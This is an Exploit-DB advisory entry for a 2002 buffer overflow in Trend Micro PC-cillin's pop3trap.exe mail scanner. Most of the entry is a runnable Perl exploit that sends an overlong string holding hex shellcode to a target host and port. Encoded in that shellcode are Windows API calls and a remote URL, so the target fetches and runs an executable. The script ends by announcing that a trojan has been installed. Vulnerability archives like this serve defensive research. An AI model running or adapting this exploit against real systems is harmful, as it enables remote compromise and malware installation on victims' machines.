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Trend Micro PC-cillin 2000/2002/2003 - Mail Scanner Buffer Overflow

🗓️ 10 Dec 2002 00:00:00Reported by Joel SoderbergType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Buffer overflow in Trend Micro PC-cillin mail scanner allows process control via pop3trap.exe.

Code
source: https://www.securityfocus.com/bid/6350/info

A buffer overflow vulnerability has been reported for PC-cillin's mail scanning utility. 

An attacker can exploit this vulnerability by connecting to a vulnerable pop3trap.exe service and sending an overly long string. This will result in the process crashing and allowing the attacker to gain control over the execution of the process.

#!/usr/bin/perl

#pc-cillin DOS..will add shellcode l8r..

use IO::Socket;
$buf = 1100;
$host = $ARGV[0];
$port = $ARGV[1];

#shellcode needs to be modded..
#return addr is in the shellcode; doesn't work? go figure..

$hellcode = "\xF0\x00\x00\x00\x58\x55\x89\xE5\x81\xEC\x2C\x00\x00\x00\x89\x45\xD4\xC7\x45\xFC".
"\x00\x00\xE7\x77\x8B\x45\xFC\x66\x81\x38\x4D\x5A\x75\x7C\x05\x3C\x00\x00\x00\x8B".
"\x18\x03\x5D\xFC\x66\x81\x3B\x50\x45\x75\x6B\x81\xC3\x78\x00\x00\x00\x8B\x33\x03".
"\x75\xFC\x81\xC6\x18\x00\x00\x00\xAD\x89\x45\xF4\xAD\x03\x45\xFC\x89\x45\xF0\xAD".
"\x03\x45\xFC\x89\x45\xEC\xAD\x03\x45\xFC\x89\x45\xE8\x31\xFF\x8B\x45\xD4\x05\x0F".
"\x00\x00\x00\x89\x45\xDC\xC7\x45\xD8\x0D\x00\x00\x00\xE8\x2D\x00\x00\x00\x8B\x55".
"\xDC\x89\x55\xE0\x8B\x45\xD4\x89\x45\xDC\xC7\x45\xD8\x0F\x00\x00\x00\xE8\x15\x00".
"\x00\x00\x8B\x55\xDC\x89\x55\xE4\x8B\x45\xE0\x89\xD3\xE9\x77\x00\x00\x00\xE9\xF6".
"\x00\x00\x00\x31\xC0\x89\x45\xF8\x8B\x7D\xF8\x3B\x7D\xF4\x7D\x43\x47\x89\x7D\xF8".
"\x31\xC0\x8B\x45\xF8\xC1\xE0\x02\x8B\x5D\xEC\x01\xC3\x8B\x03\x03\x45\xFC\x89\xC7".
"\x8B\x75\xDC\x8B\x4D\xD8\xF3\xA6\x75\xD6\x31\xC0\x8B\x45\xF8\xD1\xE0\x8B\x5D\xE8".
"\x01\xC3\x31\xC0\x66\x8B\x03\xC1\xE0\x02\x8B\x5D\xF0\x01\xD8\x8B\x18\x03\x5D\xFC".
"\x89\x5D\xDC\xC3\xE8\x0B\xFF\xFF\xFF\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72".
"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\xE9\x82\x00".
"\x00\x00\x5F\x55\x89\xE5\x81\xEC\x1C\x00\x00\x00\x89\x45\xE8\x89\x5D\xE4\x89\x7D".
"\xFC\xC7\x45\xEC\x06\x00\x00\x00\x8B\x45\xFC\x89\x45\xF4\x05\x46\x00\x00\x00\x89".
"\x45\xF0\xE8\x27\x00\x00\x00\xC7\x45\xEC\x03\x00\x00\x00\x8B\x45\xFC\x05\x4C\x00".
"\x00\x00\x89\x45\xF4\x05\x3C\x00\x00\x00\x89\x45\xF0\xE8\x08\x00\x00\x00\x8B\x45".
"\xFC\xE9\xCB\x00\x00\x00\x8B\x45\xF4\x50\xFF\x55\xE8\x85\xC0\x74\x20\x89\x45\xF8".
"\x8B\x75\xF0\x8B\x4D\xEC\x8B\x5D\xF4\x31\xC0\xAC\x01\xC3\x8B\x45\xF8\x60\x53\x50".
"\xFF\x55\xE4\x89\x03\x61\xE2\xEA\xC3\x90\xEB\xFD\xE8\x79\xFF\xFF\xFF\x6B\x65\x72".
"\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\x56\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C".
"\x6F\x63\x00\x5F\x6C\x63\x72\x65\x61\x74\x00\x5F\x6C\x77\x72\x69\x74\x65\x00\x5F".
"\x6C\x63\x6C\x6F\x73\x65\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50".
"\x72\x6F\x63\x65\x73\x73\x00\x0D\x1A\x22\x2A\x32\x3A\x77\x69\x6E\x69\x6E\x65\x74".
"\x2E\x64\x6C\x6C\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x00\x49".
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x00\x49\x6E\x74\x65".
"\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x00\x0C\x1A\x2B\x90\x31\xC0\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x3A\xE9\xE9\x00\x00\x00\x5E\x89\x86\x6A\x00\x00".
"\x00\x68\x04\x00\x00\x00\x68\x00\x10\x00\x00\x68\x9F\x86\x01\x00\x68\x00\x00\x00".
"\x00\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x0D\x89\x86\x00\x00\x00\x00\x31\xC0\x50\x50".
"\x50\x50\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x58\x89\x86\x04\x00\x00\x00\x31\xC0".
"\x50\x50\x50\x50\x8D\x86\x08\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B\x8E".
"\x6A\x00\x00\x00\xFF\x51\x66\x89\x86\x04\x00\x00\x00\x8D\x86\x62\x00\x00\x00\x50".
"\x68\x9F\x86\x01\x00\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B".
"\x8E\x6A\x00\x00\x00\xFF\x51\x77\x68\x00\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x1A\x89\x86\x66\x00\x00\x00\x8B\x86\x62\x00\x00".
"\x00\x50\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00".
"\x00\x00\xFF\x51\x22\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51".
"\x2A\x68\x05\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF".
"\x51\x32\xE9\x06\xFF\xFF\xFF\xE8\x12\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00".
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x6C\x69\x6B\x6F\x6E\x2E\x64".
"\x65\x2F\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x90";

print "\n Pc-cillin DOS..for pop3trap.exe\n";
if (!$ARGV[1]) {
   print "Usage: perl $0 <host> <port>\n";
   die "E.G. perl $0 localhost 110\n";
}
print "formatting exploit string..\n";
sleep 2;
for ($i =0; $i < $buf - length($hellcode); $i++){
   $xploit .= "A";
}
$xploit .=$hellcode;

print "Connecting to: $host ....\n";
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"$port",
   PeerAddr=>"$host"
);
sleep 1;
print $sox $xploit;
sleep 2;
close $sox;
print "Done..trojan is been downloaded onto system, give it a min or two then scan and connect ;) \n";

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10 Dec 2002 00:00Current
7.4High risk
Vulners AI Score7.4
32